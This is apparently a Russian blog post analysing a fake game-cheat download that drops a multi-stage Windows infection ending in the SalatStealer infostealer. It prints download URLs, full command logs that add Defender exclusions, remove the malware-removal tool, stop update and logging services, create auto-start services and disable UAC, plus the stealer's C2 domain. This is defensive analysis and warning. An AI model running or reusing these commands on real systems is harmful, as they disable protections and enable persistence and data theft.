или рассказ о том, что можно получить вместо читов.
Наткнулся на ролик, весьма свежий и решил посмотреть, что нам предлагают.
Приходим в телеграмм канал и видим от 7го ноября:
Ну что ж, скачаем. Заметим, что заархивированы файл занимает всего 123 кб.
После распаковки на диск мы видим, что размер файла стал почти 18 мБ
О чем это нам говорит? А о том, что файл хорошо сживается, и что его кто-то специально раздул до таких больших размеров. Цель тут одна – затруднить отправку файла в различные онлайн сервисы по исследованию программ. Ок, давайте это проверим. Загрузим в ExeInfo и видим наличие оверлея (доп информация в файле). Просто вырежи его в отдельный файл.
Новый файл astral free 0.33.1_noOVL создан, и мы получили нормальный размер. А сам оверлей – это просто большой кусок, забитый нулями, ничего интересного он не представляет.
Хорошо, посмотрим что этот файл делает, откроем его в дизассемблере и перейдём в главную функцию, которая исполняется при запуске.
Что же мы видим? Создаётся «метка» с именем nero_preloader, видимо именно этой программой и был сгенерирован дропер. Пока ничего страшного, посмотрим чуть ниже.
P.S. Кто-нибудь знает что такое nero_preloader? Ответьте в коментариях.
Ага, интересная функция, зайдем в нее:
запуск исполняемого файла
Вот оно! Скачивается файл по определённому адресу: http://uffyaa[.]ru/PacketgeoDbbaseFlowerDatalifeLocalpublicDownloads/da5911c60d39ce73116584ec5e0325f503780e55693c9952e76cab1c0441652055d0bd67ed27bb89, копируется в :\\ProgramData\\sessionuserhost.exe и запускается. На этом функционал этого исполняемого файла закончен, но это же нас не остановит? Скачаем и продолжим исследование дальше.
На этот раз скачался исполняемый файл весом в 400 кБ, назовём его test.exe и продолжим
Так же откроем функцию main() и посмотрим, что она делает. О, что мы видим!!
Основные действия функции
Получение системных путей:
Создание вредоносных файлов и сервисов:
Создает файл sessionuserhost.exe в ProgramData
Создает задание в планировщике задач (schtasks /create) для автоматического запуска этого файла при входе в систему
Создает сервис с именем InputService через sc create
Отключение системных защитных механизмов:
Отключает Windows Recovery (reagentc /disable)
Удаляет теневые копии томов (vssadmin delete shadows)
Добавляет исключение в защитник Windows через PowerShell (Add-MpPreference -ExclusionPath)
Подмена системных файлов:
Маскировка под легитимные процессы:
Выполнение команд с повышенными привилегиями:
Продолжаем исследовать дальше, видим обращение к некоторому адресу https://pastebin[.]com/raw/qQe7Aa7D
от кроем его, что же мы видим:
Ага, видим то, что запишется в HOST файл нашего компьютера, теперь ни одна ссылка из этого списка не будет открываться. Кроме того, мы видим еще 3 ссылки, В коде программы это выглядит вот так:
Дальше часть кода процедуры из test.exe:
Как видим, скачанный нами файл будет называться :\\ProgramData\\controlhost.exe, тоже самое и для остальных двух файлов.
И так, основные функции данного файла и Основная цель функции:
Попытаться скачать файл config.json с ресурса https://pastebin.com/raw/qQe7Aa7D и, если это не удалось, выполнить резервную загрузку дополнительных данных (3 имполняемые файла) с нескольких подозрительных доменов (в частности, uffyaa.ru).
Инициализация переменных и строк:
Выделяется память под строку URL: https://pastebin.com/raw/qQe7Aa7D.
Из второго аргумента (a2) извлекаются указатели и длина строки (путь к директории), к которому дописывается :\\ProgramData\\config.json.
Формируется целевой путь к файлу:
Попытка загрузки файла с Pastebin:
Используется URLDownloadToFileA, чтобы скачать файл по указанному URL и сохранить в подготовленном пути.
Если загрузка прошла успешно, функция завершает работу, иначе переходит к резервной логике.
Резервная логика загрузки (fallback):
Если основной файл не загружен, вызывается функция download01 с различными параметрами (ключи: "count", "type", "link0", "link1", "link2").
Эти ключи соответствуют различным частям конфигурации или файлов:
"type": ".exe" — ожидается исполняемый файл.
"link0", "link1", "link2" — это прямые ссылки на вредоносные загрузки с сервера uffyaa.ru, каждая ведёт к конкретному зашифрованному или закодированному payload.
Функция реализует двухэтапную схему получения вредоносной конфигурации:
Сначала пытается скачать конфиг с Pastebin.
Если не удалось — переходит к запасным URL, каждый из которых может представлять отдельную угрозу (исполняемые файлы, настройки, ключи и т.д.).
Продолжим наше исследование и скачаем содержание этих 3-х ссылок:
http://[virus].ru/PacketgeoDbbaseFlowerDatalifeLocalpublicDownloads/6adc1e14c896571371bc6e1c4f7763c7dd67d22af827cc0b57c4bde8e8925ba6f4120c2f803e7acc
http://[virus].ru/PacketgeoDbbaseFlowerDatalifeLocalpublicDownloads/6adc1e14c896571371bc6e1c4f7763c7dd67d22a0fa376726207bab855d42dfae89552cc17559ca3
http://[virus].ru/PacketgeoDbbaseFlowerDatalifeLocalpublicDownloads/9a094aaf722f08d3740be907a66838ad10afc6b865efdfd57fdb96d631878268f5775ef930869653
И так, мы получили 3 файла разного размера, начнем:
Первые 2 – это 64х битные файлы с SSL сертификатом в оверлее.
Файл file1.ex_ :
Приводить участки кода не буду, но вот список того что она делает:
C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process '"C:\Users\admin\Desktop\file1.exe"' -Verb runAs
C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
C:\WINDOWS\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
wusa /uninstall /kb:890830 /quiet /norestart
C:\WINDOWS\system32\sc.exe stop UsoSvc
C:\WINDOWS\system32\sc.exe stop wuauserv
C:\WINDOWS\system32\sc.exe stop bits
C:\WINDOWS\system32\sc.exe stop dosvc
C:\WINDOWS\system32\powercfg.exe /x -hibernate-timeout-dc 0
C:\WINDOWS\system32\powercfg.exe /x -standby-timeout-ac 0
C:\WINDOWS\system32\powercfg.exe /x -standby-timeout-dc 0
Создает C:\WINDOWS\system32\dialer.exe
C:\WINDOWS\system32\sc.exe delete "EJJYGAKZ"
C:\WINDOWS\system32\sc.exe create "EJJYGAKZ" binpath= "C:\ProgramData\jtixikfvpels\lxwvsyozcpiw.exe" start= "auto"
C:\WINDOWS\system32\sc.exe stop eventlog
C:\WINDOWS\system32\sc.exe start "EJJYGAKZ"
"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.EXE" "тут обфусцированный скрипт"
C:\WINDOWS\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
wusa /uninstall /kb:890830 /quiet /norestart
C:\WINDOWS\system32\sc.exe stop UsoSvc
C:\WINDOWS\system32\sc.exe stop WaaSMedicSvc
C:\WINDOWS\system32\sc.exe stop wuauserv
C:\WINDOWS\system32\sc.exe stop bits
C:\WINDOWS\system32\sc.exe stop dosvc
C:\WINDOWS\system32\powercfg.exe /x -hibernate-timeout-ac 0
C:\WINDOWS\system32\powercfg.exe /x -hibernate-timeout-dc 0
C:\WINDOWS\system32\powercfg.exe /x -standby-timeout-ac 0
C:\WINDOWS\system32\powercfg.exe /x -standby-timeout-dc 0
Запуск C:\WINDOWS\system32\dialer.exe
C:\Windows\System32\dllhost.exe /Processid:{7cfb6527-f523-4e75-b050-9073d7bf3e84}
"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.EXE" " тут обфусцированный скрипт "
C:\Windows\System32\dllhost.exe /Processid:{7097c13c-ab69-4ab9-941c-0a3ff141828d}
C:\WINDOWS\System32\slui.exe -Embedding
А теперь тоже самое, с расшифровкой:
1. Запускается file1.exe с повышенными правами (администратор), что критично для выполнения всех следующих действий.
2. Копирует .exe файлы в каталоги %UserProfile% и %ProgramData%. Это позволяет запускать и сохранять вредоносный код без обнаружения.
3–4, 18–19. Удаление обновления Windows KB890830
wusa /uninstall /kb:890830 /quiet /norestart
KB890830 — это средство удаления вредоносных программ (MSRT).
Злоумышленник удаляет его, чтобы оно не удалило вредоносное ПО.
5–8, 20–24. Отключение обновлений и службы передачи данных
* Отключение служб:
Центра обновления Windows (wuauserv)
Интеллектуальной передачи данных в фоне (BITS)
Обновления операционной системы (UsoSvc, WaaSMedicSvc, dosvc)
* Цель: остановить обновления и вмешательство Microsoft.
9–11, 25–28. Отключение автоматического сна и гибернации
* Модифицирует схемы питания:
* Цель: предотвратить переход ПК в спящий режим, чтобы вредоносный код работал непрерывно
12. Создание dialer.exe в system32
13–16. Создание и запуск вредоносной службы
sc create "EJJYGAKZ" binpath= "..." start= "auto"
Удаляется старая служба, создаётся новая с автостартом.
17, 31. Выполнение сложного PowerShell-скрипта с динамической загрузкой и внедрением
Скрипт создает динамический делегат, используя Reflection.Emit.
Получает доступ к системным сборкам и вызывает низкоуровневые функции.
Используется Marshal::GetDelegateForFunctionPointer, Copy, Invoke и т.п.
Это указывает на:
Создание и внедрение shell-кода
Вызов функций из сторонних DLL
Динамическую декриптацию или загрузку полезной нагрузки
Также возможно, что выполняется DLL-сидeloading или внедрение в dllhost.exe.
30. Запуск DLLHost с нестандартным идентификатором COM
* Вероятно, загрузка вредоносной DLL через COM-объект.
* Используется для маскировки и уклонения от обнаружения.
Итоговая цель вредоносной программы
Получить полный контроль над системой
Отключить защиту и обновления
Скрыть активность
Закрепиться через автозапуск
Выполнить вредоносную нагрузку (включая DLL sideloading, shellcode, системные вызовы)
Возможное дальнейшее заражение или шпионаж
Как вы могли заметить, выполнились 2 PowerShell скрипта, после их расшифровки мы можем понять, что делает эта программа. Вот подробное описание, что делает эта вредоносная программа на основе всех 31 шага:
🔧 1. Запуск вредоносного исполняемого файла с правами администратора
powershell.exe Start-Process '"C:\Users\admin\Desktop\file1.exe"' -Verb runAs
Запускает исполняемый файл с повышенными правами (UAC bypass).
🛡️ 2. Отключение антивирусной защиты Windows Defender
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Добавляет в исключения директории и расширение .exe, чтобы антивирус игнорировал любые EXE-файлы, особенно в папках пользователя и ProgramData.
🧹 3, 4, 18, 19. Удаление инструмента для очистки вредоносных программ
cmd wusa /uninstall /kb:890830 /quiet /norestart
Удаляет KB890830 — это Microsoft Windows Malicious Software Removal Tool (MSRT). Деактивирует его, чтобы он не удалил вредоносный код.
⚙️ 5–8, 20–24. Отключение сервисов обновлений и фоновых служб
cmd sc.exe stop UsoSvc, wuauserv, bits, dosvc, WaaSMedicSvc
UsoSvc — обновления Windows
wuauserv — агент обновлений
bits — фоновая загрузка
dosvc — оркестратор доставки
WaaSMedicSvc — сервис восстановления обновлений
📛 Цель — остановить обновления и автоматическое восстановление системных компонентов, чтобы система не восстановилась после заражения.
🔌 9–11, 25–28. Изменение параметров электропитания
cmd powercfg.exe /x -standby-timeout-ac 0, /x -hibernate-timeout-dc 0 и т.п.
Отключает ожидание и гибернацию, чтобы система постоянно работала и не уходила в спящий режим. Это может быть нужно для непрерывной работы вредоносного кода.
⚠️ 12. Создание вредоносного dialer.exe
Создаёт файл C:\WINDOWS\system32\dialer.exe. Вероятно, это вредоносный компонент.
🧪 13–16. Удаление, создание и запуск скрытого сервиса
cmd sc.exe delete "EJJYGAKZ"
cmd sc.exe create "EJJYGAKZ" binpath= "C:\ProgramData\jtixikfvpels\lxwvsyozcpiw.exe" start= "auto"
cmd sc.exe start "EJJYGAKZ"
Удаляет старый сервис и создаёт новый с произвольным именем, который указывает на вредоносный EXE в ProgramData. Сервис будет запускаться автоматически при старте системы.
🚨 15. Остановка системного журнала событий
Отключает логирование событий. Это мешает расследованию и скрывает следы.
🧬 17. Динамическая генерация вредоносного .NET-кода в PowerShell
Большой PowerShell-скрипт:
Создаёт в памяти сборку .NET.
Динамически компилирует делегаты (обработчики функций).
Использует GetProcAddress для доступа к WinAPI-функциям.
Патчит память (в том числе — делает VirtualProtect).
Загружает DLL (в том числе из SOFTWARE\dialerstager в реестре).
Возможно, загружает вторичный пейлоад или обходит защиту.
📌 Это обфусцированный загрузчик или инжектор, работающий полностью в памяти. Очень продвинутый подход.
☎️ 29. Запуск созданного dialer.exe
Продолжает выполнение уже подготовленного вредоносного компонента.
🧪 30. Запуск COM-хоста (dllhost.exe) с уникальным идентификатором CLSID
cmd dllhost.exe /Processid:{...}
Может использоваться для запуска COM-объекта — часто применяется для инжекции или маскировки кода, запускаемого через системные службы.
🧬 31. Ещё один PowerShell с генерацией и вызовом делегатов
Похож на шаг 17. Второй PowerShell-скрипт делает то же самое:
Запускает вредоносный EXE от имени администратора.
Обходит Windows Defender.
Удаляет средства защиты от вредоносного ПО.
Отключает службы обновлений и логирования.
Меняет параметры питания.
Устанавливает и запускает вредоносные сервисы.
Генерирует .NET-код прямо в памяти (fileless-инжекция).
Загружает скрытые DLL или shellcode.
Осуществляет запуск и маскировку через dialer.exe и dllhost.exe.
Кроме того запускаемый дилер запускается в нулевом конце доступа, как драйвер и если прибить такой процесс, система выпадет в синий экран.
Что же делает File2.exe?
C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process '"C:\Users\admin\Desktop\file2.exe"' -Verb runAs
C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
C:\WINDOWS\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
wusa /uninstall /kb:890830 /quiet /norestart
C:\WINDOWS\system32\sc.exe stop UsoSvc
C:\WINDOWS\system32\sc.exe stop WaaSMedicSvc
C:\WINDOWS\system32\sc.exe stop wuauserv
C:\WINDOWS\system32\sc.exe stop bits
C:\WINDOWS\system32\powercfg.exe /x -hibernate-timeout-ac 0“
C:\WINDOWS\system32\powercfg.exe /x -hibernate-timeout-dc 0
C:\WINDOWS\system32\powercfg.exe /x -standby-timeout-ac 0
C:\WINDOWS\system32\powercfg.exe /x -standby-timeout-dc 0
start C:\WINDOWS\system32\dialer.exe
C:\WINDOWS\system32\sc.exe delete "WLJNDOJC"
C:\WINDOWS\system32\sc.exe create "WLJNDOJC" binpath= "C:\ProgramData\zrntznqzxmws\ydmehmmzlokc.exe" start= "auto"
C:\WINDOWS\system32\sc.exe stop eventlog
C:\WINDOWS\system32\sc.exe start "WLJNDOJC"
C:\WINDOWS\system32\SppExtComObj.exe -Embedding
"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent
"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.EXE" "function ....."
start C:\ProgramData\zrntznqzxmws\ydmehmmzlokc.exe
C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
C:\WINDOWS\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
wusa /uninstall /kb:890830 /quiet /norestart
C:\WINDOWS\system32\sc.exe stop UsoSvc
C:\WINDOWS\system32\sc.exe stop WaaSMedicSvc
C:\WINDOWS\system32\sc.exe stop bits
C:\WINDOWS\system32\sc.exe stop dosvc
C:\WINDOWS\system32\powercfg.exe /x -hibernate-timeout-dc 0
C:\WINDOWS\system32\powercfg.exe /x -standby-timeout-ac 0
C:\WINDOWS\system32\powercfg.exe /x -standby-timeout-dc 0
C:\Windows\System32\dllhost.exe /Processid:{0995f9a4-ba6d-4140-a15e-2b171752e608} (Application was injected by another process)
"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.EXE" "function ............."
C:\Windows\System32\dllhost.exe /Processid:{3a3997b4-63b2-4a14-adf7-fc6a4d4fb2c3} (Application was injected by another process)
Активно используют PowerShell и reg add.
Модифицируют службы и параметры Defender.
Пытаются внедрить исключения в систему защиты.
Используют техники персистентности (запуск по расписанию, скрытые скрипты).
File3.exe:
Этот фaл отличается от других упакован модифицированным UPX. Эта программа уже написана на Go(go1.22.0) но зато активно общается с 188.114.96.3, 172.67.191.102:433 и с другими
Видимо это и есть сам вредонос для удалённого доступ к компьютеру жертвы. Позже я расскажу что же это такое. Обезопасим себя на всякий случай. Вот готовый .bat-файл, который создаст правила в брандмауэре Windows для блокировки IP-адреса 172.211.123.249:
@Echo off
echo Блокировка IP-адреса 172.211.123.249 через брандмауэр Windows...
REM Блокировка входящего трафика
netsh advfirewall firewall add rule name="Block 172.211.123.249 In" dir=in action=block remoteip=172.211.123.249 enable=yes
REM Блокировка исходящего трафика
netsh advfirewall firewall add rule name="Block 172.211.123.249 Out" dir=out action=block remoteip=172.211.123.249 enable=yes
echo Готово.
Pause
а это и есть SalatStealer, знакомитесь:
SalatStealer — это тип вредоносного ПО, предназначенный для кражи данных с заражённых устройств.
Он разработан на языке Golang и может выполнять различные действия, включая создание скриншотов и эксфильтрацию файлов.
Использование SalatStealer может привести к серьёзным последствиям, таким как кража личной информации.
Дропает себя в разные места, запускает сам себя:
https://sa1at[.]ru/sa1at/
https://sa1at[.]ru/sa1at/jcl2eeqx
Сайт sa1at[.]ru был идентифицирован как вредоносный и используется в качестве центра управления (C2) для вредоносного ПО под названием Salat Stealer. По данным ThreatFox, этот домен классифицируется как связанный с ботнетом и имеет высокий уровень достоверности угрозы (100%) .
Рекомендую добавить sa1at[.]ru в файл hosts для блокировки доступа:
echo 127.0.0.1 sa1at.ru >> %SystemRoot%\System32\drivers\etc\hosts
SalatStealer — это вредоносное программное обеспечение, классифицируемое как инфостилер, разработанное на языке Go. Оно предназначено для кражи конфиденциальных данных с заражённых систем.
🧬 Основные характеристики
Язык разработки: Go (Golang)
Методы упаковки: Использует UPX (Ultimate Packer for eXecutables) для упаковки исполняемых файлов, что затрудняет анализ и обнаружение.
Основные функции:
Сбор системной информации: данные о жёстком диске, разрешение экрана, активные процессы и окна.
Кража учётных данных из браузеров (Chrome, Firefox, Edge) и почтовых клиентов.
Доступ к криптовалютным кошелькам и кража приватных ключей.
Поиск незашифрованных паролей в текстовых файлах.
Эксплуатация микрофона и камеры для записи аудио и видео, а также возможность трансляции экрана в реальном времени
Salat Stealer — это скрытное вредоносное ПО, разработанное на языке программирования Go, предназначенное для проникновения в системы и извлечения конфиденциальных данных. После заражения устройства оно собирает обширную системную информацию, такую как сведения о жёстком диске, разрешение экрана, запущенные процессы и активные окна. Одной из его наиболее тревожных особенностей является его способность транслировать рабочий стол жертвы в режиме реального времени и захватывать аудио и видео с помощью микрофона и камеры устройства, что создаёт серьёзные проблемы с конфиденциальностью. Кроме того, Salat Stealer способен извлекать файлы из скомпрометированной машины. Его присутствие может привести к значительным рискам, включая кражу личных данных, финансовые потери и серьёзные нарушения конфиденциальности.
Возможности и функциональность
Кража данных и сбор учётных данных
• Собирает сохранённые учётные данные из веб-браузеров (например, Chrome, Firefox, Edge).
• Извлекает учётные данные для входа из локальных почтовых клиентов.
• Получает доступ к файлам криптовалютного кошелька для кражи закрытых ключей или средств.
• Ищет незащищённые учётные данные, хранящиеся в текстовых файлах.
• Извлекает файлы из скомпрометированной системы, что может привести к серьёзным нарушениям конфиденциальности, финансовым потерям и краже личных данных.
Мониторинг рабочего стола в реальном времени
• Обладает возможностями потоковой трансляции, что позволяет злоумышленникам отслеживать активность на рабочем столе жертвы в режиме реального времени.
• Может записывать аудио и видео через микрофон и камеру устройства, что создаёт серьёзные риски для конфиденциальности.
Методы сохранения и уклонения
• Записывает файлы в критические системные каталоги (Windows, System32, Drivers, Program Files)
• Изменяет реестр Windows (ключ Run), чтобы обеспечить автоматическое выполнение при запуске.
• Использует методы обхода контроля учетных записей (UAC) для повышения привилегий.
• Выполняет сброшенные полезные нагрузки для расширения цепочки атак.
• Использует упаковку UPX для сокрытия своего кода и обхода обнаружения на основе сигнатур.
Первичное заражение:
Распространяется через фишинговые письма, вредоносные вложения и скрытые загрузки.
Также может распространяться через взломанное программное обеспечение или троянизированные приложения.
Исполнение и настойчивость:
Вредоносная программа запускается при взаимодействии с пользователем, например, при открытии вредоносного файла.
Для достижения устойчивости он использует реестр Windows (ключ «Выполнить»).
Попытки обойти контроль учетных записей (UAC) для получения повышенных привилегий.
Системная разведка и сбор данных:
Перечисляет запущенные процессы и активные окна.
Сканирует сохраненные учетные данные в веб-браузерах, почтовых клиентах и криптовалютных кошельках.
Проверяет языковые настройки системы, чтобы потенциально избежать заражения определенных регионов.
Утечка данных:
Извлеченные учетные данные и сведения о системе отправляются на контролируемый злоумышленником сервер управления и контроля (C2).
Вредоносная программа может попытаться удалить следы своей активности, чтобы избежать обнаружения.
Обход контроля учетных записей пользователей (UAC)
SalatStealer использует обходные методы контроля учетных записей (UAC) для получения повышенных привилегий без оповещения пользователя. Устанавливая ключ EnableLUA в \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA на «0» (отключает UAC).
При установке EnableLUA на 0 вредоносная программа отключает принудительное применение UAC, что позволяет ей выполнять административные команды и сохранять устойчивость, обходя ограничения безопасности. Однако это изменение вступает в силу не сразу — для полного отключения UAC требуется перезагрузка системы. Пока система не перезагрузится, запрос UAC будет по-прежнему отображаться при запуске вредоносной программы.
Механизм устойчивости SalatStealer
SalatStealer обеспечивает постоянство, копируя себя в случайные каталоги. В моем случае он скопировал себя в:
Затем он создает ключи запуска в реестре Windows, чтобы обеспечить выполнение при запуске:
\REGISTRY\USER\<USER_SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\smss = «C:\\Program Files (x86)\\Windows Defender\\smss.exe»
\REGISTRY\USER\<USER_SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = «C:\\Program Files (x86)\\Windows NT\\dllhost.exe»
Мониторинг экрана и рабочего стола в реальном времени
Salat Stealer может непрерывно делать снимки экрана и даже транслировать содержимое рабочего стола жертвы на командный сервер (C2) злоумышленника, обеспечивая наблюдение за его действиями в режиме реального времени.
Кража данных буфера обмена
Salat активно отслеживает активность буфера обмена, что позволяет ему перехватывать скопированный текст, включая пароли, адреса криптовалют и другие конфиденциальные данные.
Кейлоггерство – перехват нажатия клавиш
Salat Stealer записывает все, что вводится в систему жертвы, фиксируя учетные данные, сообщения и любые другие вводимые данные в режиме реального времени.
Salat Stealer функционирует как полноценный шпионский инструмент, способный:
Запись микрофона: захват и передача звука с микрофона жертвы.
Доступ к веб-камере: запись видео с веб-камеры системы.
Прямая трансляция: трансляция аудио- и видеопотоков в реальном времени на удалённый сервер злоумышленника.
Salat Stealer использует скрытый процесс эксфильтрации для передачи украденных данных на свой сервер C2, используя шифрование AES для сокрытия конфиденциальной информации перед передачей. Файлы упакованы в архивы ZIP
SalatStealer — это скрытное и устойчивое вредоносное ПО, предназначенное для кражи конфиденциальных данных, избегая обнаружения. Собирая учетные данные, изымая файлы и обеспечивая наблюдение в реальном времени, оно представляет серьезные риски для жертв, включая финансовые потери, кражу личных данных и нарушения конфиденциальности. Оно использует обход UAC и изменения реестра, что затрудняет удаление. Кроме того, его механизмы шифрования и упаковка UPX еще больше усложняют анализ и обнаружение. Учитывая его широкую направленность на веб-браузеры, криптовалютные кошельки и приложения для обмена сообщениями, SalatStealer остаётся значительной угрозой, подчёркивая необходимость постоянного мониторинга и расширенных мер безопасности для противодействия его воздействию.
